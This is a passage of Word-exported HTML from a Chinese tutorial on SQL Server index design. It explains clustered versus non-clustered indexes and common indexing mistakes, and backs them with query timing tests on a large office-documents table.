&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312"&gt;应&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-right-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312"&gt;应&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR style="HEIGHT: 22.7pt; mso-yfti-irow: 8; mso-yfti-lastrow: yes"&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: black 1pt solid; WIDTH: 142pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-left-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center; mso-yfti-cnfc: 4" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312; mso-bidi-font-weight: bold"&gt;频繁修改索引列&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: #d4d0c8; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312"&gt;不应&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD style="BORDER-RIGHT: black 1pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: #d4d0c8; PADDING-LEFT: 5.4pt; PADDING-BOTTOM: 0cm; BORDER-LEFT: #d4d0c8; WIDTH: 142.05pt; PADDING-TOP: 0cm; BORDER-BOTTOM: black 1pt solid; HEIGHT: 22.7pt; BACKGROUND-COLOR: transparent; mso-border-bottom-alt: solid black .75pt; mso-border-top-alt: solid black .75pt; mso-border-right-alt: solid black .75pt"&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: center" align=center&gt;&lt;SPAN style="FONT-SIZE: 12pt; FONT-FAMILY: 仿宋_GB2312"&gt;应&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;事实上，我们可以通过前面聚集索引和非聚集索引的定义的例子来理解上表。如：返回某范围内的数据一项。比如您的某个表有一个时间列，恰好您把聚合索引建立在了该列，这时您查询&lt;SPAN&gt;2004&lt;/SPAN&gt;年&lt;SPAN&gt;1&lt;/SPAN&gt;月&lt;SPAN&gt;1&lt;/SPAN&gt;日至&lt;SPAN&gt;2004&lt;/SPAN&gt;年&lt;SPAN&gt;10&lt;/SPAN&gt;月&lt;SPAN&gt;1&lt;/SPAN&gt;日之间的全部数据时，这个速度就将是很快的，因为您的这本字典正文是按日期进行排序的，聚类索引只需要找到要检索的所有数据中的开头和结尾数据即可；而不像非聚集索引，必须先查到目录中查到每一项数据对应的页码，然后再根据页码查到具体内容。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;（三）结合实际，谈索引使用的误区&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;理论的目的是应用。虽然我们刚才列出了何时应使用聚集索引或非聚集索引，但在实践中以上规则却很容易被忽视或不能根据实际情况进行综合分析。下面我们将根据在实践中遇到的实际问题来谈一下索引使用的误区，以便于大家掌握索引建立的方法。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;1&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;、主键就是聚集索引&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;这种想法笔者认为是极端错误的，是对聚集索引的一种浪费。虽然&lt;SPAN&gt;SQL SERVER&lt;/SPAN&gt;默认是在主键上建立聚集索引的。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;通常，我们会在每个表中都建立一个&lt;SPAN&gt;ID&lt;/SPAN&gt;列，以区分每条数据，并且这个&lt;SPAN&gt;ID&lt;/SPAN&gt;列是自动增大的，步长一般为&lt;SPAN&gt;1&lt;/SPAN&gt;。我们的这个办公自动化的实例中的列&lt;SPAN&gt;Gid&lt;/SPAN&gt;就是如此。此时，如果我们将这个列设为主键，&lt;SPAN&gt;SQL SERVER&lt;/SPAN&gt;会将此列默认为聚集索引。这样做有好处，就是可以让您的数据在数据库中按照&lt;SPAN&gt;ID&lt;/SPAN&gt;进行物理排序，但笔者认为这样做意义不大。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;显而易见，聚集索引的优势是很明显的，而每个表中只能有一个聚集索引的规则，这使得聚集索引变得更加珍贵。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;从我们前面谈到的聚集索引的定义我们可以看出，使用聚集索引的最大好处就是能够根据查询要求，迅速缩小查询范围，避免全表扫描。在实际应用中，因为&lt;SPAN&gt;ID&lt;/SPAN&gt;号是自动生成的，我们并不知道每条记录的&lt;SPAN&gt;ID&lt;/SPAN&gt;号，所以我们很难在实践中用&lt;SPAN&gt;ID&lt;/SPAN&gt;号来进行查询。这就使让&lt;SPAN&gt;ID&lt;/SPAN&gt;号这个主键作为聚集索引成为一种资源浪费。其次，让每个&lt;SPAN&gt;ID&lt;/SPAN&gt;号都不同的字段作为聚集索引也不符合“大数目的不同值情况下不应建立聚合索引”规则；当然，这种情况只是针对用户经常修改记录内容，特别是索引项的时候会负作用，但对于查询速度并没有影响。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;在办公自动化系统中，无论是系统首页显示的需要用户签收的文件、会议还是用户进行文件查询等任何情况下进行数据查询都离不开字段的是“日期”还有用户本身的“用户名”。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;通常，办公自动化的首页会显示每个用户尚未签收的文件或会议。虽然我们的&lt;SPAN&gt;where&lt;/SPAN&gt;语句可以仅仅限制当前用户尚未签收的情况，但如果您的系统已建立了很长时间，并且数据量很大，那么，每次每个用户打开首页的时候都进行一次全表扫描，这样做意义是不大的，绝大多数的用户&lt;SPAN&gt;1&lt;/SPAN&gt;个月前的文件都已经浏览过了，这样做只能徒增数据库的开销而已。事实上，我们完全可以让用户打开系统首页时，数据库仅仅查询这个用户近&lt;SPAN&gt;3&lt;/SPAN&gt;个月来未阅览的文件，通过“日期”这个字段来限制表扫描，提高查询速度。如果您的办公自动化系统已经建立的&lt;SPAN&gt;2&lt;/SPAN&gt;年，那么您的首页显示速度理论上将是原来速度&lt;SPAN&gt;8&lt;/SPAN&gt;倍，甚至更快。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;在这里之所以提到“理论上”三字，是因为如果您的聚集索引还是盲目地建在&lt;SPAN&gt;ID&lt;/SPAN&gt;这个主键上时，您的查询速度是没有这么高的，即使您在“日期”这个字段上建立的索引（非聚合索引）。下面我们就来看一下在&lt;SPAN&gt;1000&lt;/SPAN&gt;万条数据量的情况下各种查询的速度表现（&lt;SPAN&gt;3&lt;/SPAN&gt;个月内的数据为&lt;SPAN&gt;25&lt;/SPAN&gt;万条）：&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;（&lt;SPAN&gt;1&lt;/SPAN&gt;）仅在主键上建立聚集索引，并且不划分时间段：&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;Select gid,fariqi,neibuyonghu,title from tgongwen&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;用时：&lt;SPAN&gt;128470&lt;/SPAN&gt;毫秒（即：&lt;SPAN&gt;128&lt;/SPAN&gt;秒）&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;（&lt;SPAN&gt;2&lt;/SPAN&gt;）在主键上建立聚集索引，在&lt;SPAN&gt;fariq&lt;/SPAN&gt;上建立非聚集索引：&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;select gid,fariqi,neibuyonghu,title from Tgongwen&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;where fariqi&amp;gt; dateadd(day,-90,getdate())&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;用时：&lt;SPAN&gt;53763&lt;/SPAN&gt;毫秒（&lt;SPAN&gt;54&lt;/SPAN&gt;秒）&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;（&lt;SPAN&gt;3&lt;/SPAN&gt;）将聚合索引建立在日期列（&lt;SPAN&gt;fariqi&lt;/SPAN&gt;）上：&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;select gid,fariqi,neibuyonghu,title from Tgongwen&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;where fariqi&amp;gt; dateadd(day,-90,getdate())&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;用时：&lt;SPAN&gt;2423&lt;/SPAN&gt;毫秒（&lt;SPAN&gt;2&lt;/SPAN&gt;秒）&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;虽然每条语句提取出来的都是&lt;SPAN&gt;25&lt;/SPAN&gt;万条数据，各种情况的差异却是巨大的，特别是将聚集索引建立在日期列时的差异。事实上，如果您的数据库真的有&lt;SPAN&gt;1000&lt;/SPAN&gt;万容量的话，把主键建立在&lt;SPAN&gt;ID&lt;/SPAN&gt;列上，就像以上的第&lt;SPAN&gt;1&lt;/SPAN&gt;、&lt;SPAN&gt;2&lt;/SPAN&gt;种情况，在网页上的表现就是超时，根本就无法显示。这也是我摒弃&lt;SPAN&gt;ID&lt;/SPAN&gt;列作为聚集索引的一个最重要的因素。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt 31.9pt; mso-para-margin-left: 3.04gd"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;得出以上速度的方法是：在各个&lt;SPAN&gt;select&lt;/SPAN&gt;语句前加：&lt;SPAN&gt;declare @d datetime&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;set @d=getdate()&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;并在&lt;SPAN&gt;select&lt;/SPAN&gt;语句后加：&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;select [&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;语句执行花费时间&lt;SPAN&gt;(&lt;/SPAN&gt;毫秒&lt;SPAN&gt;)]=datediff(ms,@d,getdate())&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;2&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;、只要建立索引就能显著提高查询速度&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;事实上，我们可以发现上面的例子中，第&lt;SPAN&gt;2&lt;/SPAN&gt;、&lt;SPAN&gt;3&lt;/SPAN&gt;条语句完全相同，且建立索引的字段也相同；不同的仅是前者在&lt;SPAN&gt;fariqi&lt;/SPAN&gt;字段上建立的是非聚合索引，后者在此字段上建立的是聚合索引，但查询速度却有着天壤之别。所以，并非是在任何字段上简单地建立索引就能提高查询速度。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;从建表的语句中，我们可以看到这个有着&lt;SPAN&gt;1000&lt;/SPAN&gt;万数据的表中&lt;SPAN&gt;fariqi&lt;/SPAN&gt;字段有&lt;SPAN&gt;5003&lt;/SPAN&gt;个不同记录。在此字段上建立聚合索引是再合适不过了。在现实中，我们每天都会发几个文件，这几个文件的发文日期就相同，这完全符合建立聚集索引要求的：“既不能绝大多数都相同，又不能只有极少数相同”的规则。由此看来，我们建立“适当”的聚合索引对于我们提高查询速度是非常重要的。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;3&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;、把所有需要提高查询速度的字段都加进聚集索引，以提高查询速度&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;上面已经谈到：在进行数据查询时都离不开字段的是“日期”还有用户本身的“用户名”。既然这两个字段都是如此的重要，我们可以把他们合并起来，建立一个复合索引（&lt;SPAN&gt;compound index&lt;/SPAN&gt;）。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;很多人认为只要把任何字段加进聚集索引，就能提高查询速度，也有人感到迷惑：如果把复合的聚集索引字段分开查询，那么查询速度会减慢吗？带着这个问题，我们来看一下以下的查询速度（结果集都是&lt;SPAN&gt;25&lt;/SPAN&gt;万条数据）：（日期列&lt;SPAN&gt;fariqi&lt;/SPAN&gt;首先排在复合聚集索引的起始列，用户名&lt;SPAN&gt;neibuyonghu&lt;/SPAN&gt;排在后列）&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;（&lt;SPAN&gt;1&lt;/SPAN&gt;）&lt;SPAN&gt;select gid,fariqi,neibuyonghu,title from Tgongwen where fariqi&amp;gt;'2004-5-5' &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;查询速度：&lt;SPAN&gt;2513&lt;/SPAN&gt;毫秒&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;（&lt;SPAN&gt;2&lt;/SPAN&gt;）&lt;SPAN&gt;select gid,fariqi,neibuyonghu,title from Tgongwen where fariqi&amp;gt;'2004-5-5' and neibuyonghu='&lt;/SPAN&gt;办公室&lt;SPAN&gt;'&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;查询速度：&lt;SPAN&gt;2516&lt;/SPAN&gt;毫秒&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;（&lt;SPAN&gt;3&lt;/SPAN&gt;）&lt;SPAN&gt;select gid,fariqi,neibuyonghu,title from Tgongwen where neibuyonghu='&lt;/SPAN&gt;办公室&lt;SPAN&gt;'&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;查询速度：&lt;SPAN&gt;60280&lt;/SPAN&gt;毫秒&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;从以上试验中，我们可以看到如果仅用聚集索引的起始列作为查询条件和同时用到复合聚集索引的全部列的查询速度是几乎一样的，甚至比用上全部的复合索引列还要略快（在查询结果集数目一样的情况下）；而如果仅用复合聚集索引的非起始列作为查询条件的话，这个索引是不起任何作用的。当然，语句&lt;SPAN&gt;1&lt;/SPAN&gt;、&lt;SPAN&gt;2&lt;/SPAN&gt;的查询速度一样是因为查询的条目数一样，如果复合索引的所有列都用上，而且查询结果少的话，这样就会形成“索引覆盖”，因而性能可以达到最优。同时，请记住：无论您是否经常使用聚合索引的其他列，但其前导列一定要是使用最频繁的列。&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;（四）其他书上没有的索引使用经验总结&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;1&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;、用聚合索引比用不是聚合索引的主键速度快&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;下面是实例语句：（都是提取&lt;SPAN&gt;25&lt;/SPAN&gt;万条数据）&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi='2004-9-16'&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 32.25pt"&gt;&lt;SPAN style="FONT-SIZE: 16pt; FONT-FAMILY: 仿宋_GB2312"&gt;使用时间：&lt;SPAN&gt;3326&lt;/SPAN&gt;毫秒&lt;SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;/P&gt;
